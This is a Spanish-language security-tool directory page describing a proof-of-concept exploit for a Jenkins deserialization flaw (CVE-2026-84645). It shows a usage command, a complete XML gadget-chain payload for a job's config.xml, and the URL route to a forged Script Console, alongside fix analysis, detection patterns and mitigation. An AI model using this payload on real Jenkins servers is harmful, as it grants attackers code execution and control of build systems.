Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/mhtsec/cve-2026-84645
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubmhtsec/cve-2026-84645

CVE-2026-84645

Jenkins PersistenceRoot Deserialización RCE (SECURITY-3972) — PoC y análisis. Requiere Item/Configure; afecta a weekly <= 2.579 / LTS <= 2.568.2

Ver Repositorio
hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-84645 — Deserialización RCE en PersistenceRoot de Jenkins (SECURITY-3972)

PoC para la vulnerabilidad de deserialización de Jenkins corregida el 2026-09-02 (aviso). Una cuenta con privilegios bajos que tenga Item/Configure en cualquier trabajo individual puede convertir eso en ejecución arbitraria de código como el usuario del sistema operativo de Jenkins.

AfectadoJenkins weekly ≤ 2.579, LTS ≤ 2.568.2
Corregidoweekly 2.580, LTS 2.568.3
Requisito previoautenticado, Item/Configure en ≥ 1 trabajo
ImpactoRCE como la cuenta de servicio de Jenkins
CVSS8.8 (Alto)

Solo para investigación de seguridad autorizada en instancias de prueba vulnerables.

Uso

root@kitploit:~
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id

El script verifica que la cuenta no tenga permiso de script (espera 403), envía el config.xml manipulado y luego enruta a través del grafo de objetos inyectado hacia una Consola de Scripts cuya ACL está controlada por el atacante.

Análisis técnico

Causa raíz

Dos comportamientos de larga data de la pila XStream de Jenkins (hudson.util.XStream2 / RobustReflectionConverter) se combinan:

  1. Los tipos PersistenceRoot podían deserializarse como valores de campos anidados. JEP-200 restringe qué clases pueden deserializarse, pero no dónde en el grafo de objetos. Cualquier campo tipado como (o asignable a) un subtipo de PersistenceRoot se deserializaba como un objeto común. Dado que XStream instancia mediante Unsafe.allocateInstance (sin constructor), un atacante podía forjar un segundo singleton hudson.model.Hudson con valores de campo arbitrarios, incluido authorizationStrategy.
  2. Los campos transitorios también se deserializaban (el comportamiento de compatibilidad de "deserializar en campos transitorios como XStream 1.1.3"). Las referencias a objetos necesarias para el enrutamiento de solicitudes de Stapler (FingerprintAction.build, Run.project, AbstractItem.parent) son transitorias, por lo que los objetos inyectados se vuelven accesibles a través de HTTP — la redacción de "manejar posteriormente solicitudes HTTP a través de Stapler" del aviso.

Cadena de gadgets

POST /job/<job>/config.xml (solo necesita Item/Configure) inyecta en los <actions> del trabajo:

root@kitploit:~
<actions>
  <hudson.tasks.Fingerprinter_-FingerprintAction>
    <build class="hudson.model.FreeStyleBuild">        <!-- PersistenceRoot anidado (defecto 1); campo transitorio (defecto 2) -->
      <project class="hudson.model.FreeStyleProject">  <!-- Run.project: protected final transient -->
        <parent class="hudson.model.Hudson">            <!-- AbstractItem.parent: transient; segundo Jenkins forjado -->
          <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
        </parent>
        <name>...</name>
        <properties/>                                  <!-- evita NPE en Job.getOverrides() -->
      </project>
    </build>
    <record/>
  </hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>

Stapler luego enruta la solicitud hacia el grafo forjado:

Segmento de URLResuelve aRuta de código
/job/<job>/fingerprintsFingerprintAction inyectadourlName == "fingerprints" + Actionable.getDynamic()
/runFreeStyleBuild forjadoFingerprintAction.getRun() lee el build transitorio
/parentFreeStyleProject forjadoRun.getParent() lee final transient project
/parenthudson.model.Hudson forjadoAbstractItem.getParent() lee el parent transitorio
/scriptTextConsola de Scripts de la instancia forjadaJenkins.doScriptText() → _doScript(..., getACL())

La evasión de autorización: doScriptText verifica ADMINISTER contra la instancia que recibió la solicitud, es decir, getACL() del Hudson forjado, que se deriva de su propio campo authorizationStrategy — AuthorizationStrategy$Unsecured concede todo. La estrategia de autorización del controlador real nunca participa. Debido a que ningún constructor se ejecuta durante la deserialización, los inicializadores de campo no se aplican; el payload debe establecer authorizationStrategy (y properties) explícitamente.

Análisis de la corrección (2.580)

Comparando jenkins-2.579 → jenkins-2.580:

  • RobustReflectionConverter.doUnmarshal ahora se niega a deserializar un subtipo de PersistenceRoot en un campo anidado (CriticalXStreamException: "Los objetos PersistenceRoot son raíces de documento y no deben aparecer como valores de campo anidados"), permitiendo solo tres formas seguras: referencias inversas reference= de XStream, reemplazadores resolves-to no persistentes (Run$Replacer, User$Replacer, …) y referencias escalares de convertidores de valor único.
  • Nuevas anotaciones @XStreamNotDeserializable / @XStreamDeserializable más TRANSIENT_FIELD_STRICT_MODE endurecen la deserialización de campos transitorios por campo.
  • Jenkins.readResolve() ahora se niega a deserializar un segundo singleton de Jenkins y ganó un reemplazador writeReplace().
  • Pruebas de regresión: test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java.

Notas

  • La inyección es en memoria (transitoria): reiniciar Jenkins la elimina, pero puede reenviarse a voluntad.
  • Detección: payloads inesperados de POST /job/*/config.xml que contengan Fingerprinter_-FingerprintAction / hudson.model.Hudson anidados, o solicitudes a /job/*/fingerprints/run/parent/parent/scriptText.

Mitigación

  • Actualizar a weekly ≥ 2.580 / LTS ≥ 2.568.3.
  • Restringir Item/Configure a administradores de confianza en la matriz de autorización.
  • Auditar los registros de acceso para los patrones anteriores; reiniciar instancias sospechosas y verificar los archivos config.xml de los trabajos en busca de contaminación.

Referencias

  • https://www.jenkins.io/security/advisory/2026-09-02/#SECURITY-3972
  • https://nvd.nist.gov/vuln/detail/CVE-2026-84645
Descargar herramienta